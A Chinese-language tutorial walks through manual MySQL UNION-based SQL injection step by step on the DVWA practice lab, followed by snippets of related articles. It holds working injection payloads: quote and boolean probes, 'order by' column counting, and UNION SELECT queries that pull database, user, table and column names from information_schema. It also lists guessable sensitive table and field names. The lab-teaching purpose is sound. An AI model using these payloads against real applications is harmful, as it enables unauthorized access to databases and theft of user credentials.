MySQL手注之联合查询注入
了解联合查询注入之前,先要了解一下什么是union?
union是用于合并两个sql查询结果的语句。
要使用union
必须有相同的列数
必须有两条以上的select语句组成
列的数据类型必须兼容,兼容的含义是必须数据库可以隐含转换他们的类型
联合注入
下面将以dwav靶场示例
1.判断是否存在可疑的注入点(数字型或字符型)。
数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。
方法一: 单引号法
'
方法二: 逻辑法
and 1=1
and 1=2
1' and '1'='1
1' and '1'='2
方法三:运算法
-1
-0
2.猜解表名
常见敏感表名
admin
user admin_userinfo
system
vipuser
a_admin
xxx_admin
3.猜字段数
order by
4.猜解字段名
敏感字段名:
username
password
admin_usernmae
admin_password
5.获取数据
id = 1 union select 1,2,3,'''''
联合注入步骤详情:
打开本地dvwa靶场

1.判断是否存在注入(数字型或字符型)

当输入id等于1'时 数据库直接报错,通过回显我们可以看出id=1'被包在单引号里面被数据库转换成了字符串而不会去执行。
所以我们就要构造闭合 让语句可以成功带入数据库进行执行,以达到我们想要的操作。
当输入id = 1' and '1' ='1时,此时代数数据库执行的语句就是这样的
select First name,surname FORM users WHERE user_id='1''

当输入1' and '1' ='1时,执行的语句就会是这样
select First name,surname FORM users WHERE user_id='1' and '1' ='1'

将姓名都显示出来。说明存在字符型注入。
2.猜解字段数
命令: order by 数字
功能:当猜测的数字小于或等于实际字段数,回显正确,否则报错
发现输入id=1' order by 3 # 时报错,则猜测字段为两个

3.联合查询
使用 union select database(),user() # !!!井号不要忘记加

这里查询到数据库为 dvwa 用户为root@loca1host

查询当前 数据库版本(尤为重要)
当mysql 版本小于4.0 的时候 ,是不支持 union seletc联合查询的
当mysql 版本大于5.0时,有个默认数据库information_schema,保存了 Mysql服务器所有数据库的信息,如数据库名,数据库的表, 表栏的数据类型与访问权限等。该数据库拥有⼀个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库
列举几个常见的查询函数
1. version()- 数据库版本
2.user() -数据库用户
3. database() - 当前所在数据库
4. current_user() - 当前用户名
5. system_user() - 系统用户名
6. session_user() -连接到数据库的用户名
7. @@basedir - 数据库的安装目录
8. @@datadir - 数据库文件存放目录
9. SCHEMATA- 记录当前数据库服务器所有数据库名称
10.TABALES- 记录了当前数据库服务器所有表的信息
4.获取数据表名
1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
联合 查询 "information_schema.table" 表中选取 "table_name" 和 "table_schema" 列 条件 table_schema = 'dvwa' #

获得 guestbook表 和 users表
5.获取表列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
group_concat 一次性

6.获取数据

MySQL手注之联合查询注入的更多相关文章
- MySQL手注之报错注入
报错注入: 指在页面中没有一个合适的数据返回点的情况下,利用mysql函数的报错来创造一个显位的注入.先来了解一下报错注入常用的函数 XML:指可扩展标记语言被设计用来传输和存储数据. concat: ...
- 记一次SQL联合查询注入工具的编写
这是一个ASP网站的简单SQL注入检测和利用的工具,主要的功能是简单的检测出SQL注入漏洞,可以使用该id存在的SQL注入来获取数据库中的网站管理员的表名和字段名,猜解数据库中该表的字段数,最后通过联 ...
- 理解mysql执行多表联合查询
阅读目录 一:inner join(内连接) 二:left join(左连接) 三:right join(右连接) 四:cross join(交叉连接) 五:union操作 六:node+mysql ...
- Node.js的mysql执行多表联合查询
数据库(test)中的表结构(admin.user) //执行多表结合查询 var mysql = require('mysql'); var connection = mysql.createCon ...
- MySQL之外键、联合查询、子查询
外键(foreign key): 外面的键(键不在自己表中),如果一张表中有一个字段(非主键)指向另外一张表的主键,那么将该字段称之为外键. 外键可以在创建表的时候或者创建表之后增加(但是要考虑数据的 ...
- SQL注入 手注与联合注入
SQL注入,吧sql命令插入到WEB表单,或输入域名或页面亲求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令: 得到数据库用户名和密码 1:在以,{ .asp?id=32( ...
- MYsql系统函数和联合查询
函数是SQL里的关键字,用于对字段里的数据进行操作.函数是一个命令,通常与字段名称或者是表达式联合使用,处理输入的数据并产生结果 常用函数 控制函数 字符串函数 数学函数 日期时间函数 汇总函数 CA ...
- base64变形注入与联合查询注入的爱情故事
先来写一下GET的知识点: 1.知道了convart函数(CONVERT函数是把日期转换为新数据类型的通用函数) 2.Illegal mix of collations for operation ' ...
- MySQL手注之盲注(布尔)
布尔注入: 当我们在注入的过程中输入的语句在页面没有数据返回点,这就需要利用布尔型盲注一步步来猜取想要的数据.(盲注分为布尔盲注和时间盲注) 盲注常用函数: length() 返回字符串的长度, 可 ...
随机推荐
- 自己搭建的集群,启动hadoop时slave节点的datanode没有启起来怎么办?
自己搭建的集群,启动hadoop 集群是,发现slave节点的datanode没有启动,查了资料发现是因为我在启动集群前,执行了这个命令: hadoop namenode -format 这个指令会重 ...
- 技术揭秘:华为云DLI背后的核心计算引擎
摘要:介绍隐藏在华为云数据湖探索服务背后的核心计算引擎Spark,玩转DLI,,轻松完成大数据的分析处理. 本文主要给大家介绍隐藏在华为云数据湖探索服务(后文简称DLI)背后的核心计算引擎——Spar ...
- 赫然:Windows Live Writer 批量博客更新软件使用教程
http://www.wocaoseo.com/thread-144-1-1.html 推广人员需要使用多个博客,一个一个登陆更新是很麻烦的事情,网上的桌面批量更新博客软件也不少,今天在此推荐大家使用 ...
- AndroidStudio修改程序的包名,可以修改com.example.xxx之类的详解
转载请说明出处.原创作品. 首先说明一下,当时公司需要修改androidStudio 项目的包名 于是上网查了一下,只看到了修改后面的包名,而不可以修改 前缀的com.example.xxx.所以很无 ...
- Unity使用可空类型(Nullable Types)
译林军 范春彦|2014-04-09 09:46|5407次浏览|Unity(375)0 你怎么确定一个Vector3,int,或float变量是否被分配了一个值?一个方便的方式就是使用可空类型! 有 ...
- python笔记-字符串连接
字符串连接 + 1.Java中其他基本数据类型和string做+,自动转成string处理 Python中没有此特性.需要先转成string再做拼接 2.每连接一次,就要重新开辟空间,然后把字符串连接 ...
- 使用Java7提供的WatchService给目录添加新建文件监控
程序: import java.io.IOException; import java.nio.file.FileSystems; import java.nio.file.Path; import ...
- cookie和session讲解
1.cookie是什么? 保存在浏览器本地上的一组组键值对 2.session是什么? 保存在服务器上的一组组键值对 3.为什么要有cookie? HTTP是无协议状态,每次请求都是互相独立的,没有办 ...
- IDEA编写JavaWeb出现乱码,成功解决!
使用IDEA写JavaWeb项目时,总会出现编码出错等问题,比如下面这样,页面显示出来一大堆乱码,下面跟着我来操作一下,可以成功解决! 首先在IDEA安装目录下有一个:bin的文件夹,打开后找到如下两 ...
- PHP生成二维码 endroid/qr-code 扩展包
目录 1. 引入 endroid/qr-code 扩展包 2. 使用示例 3. 二维码中放入logo,无法识别二维码的问题 1. 引入 endroid/qr-code 扩展包 https://pack ...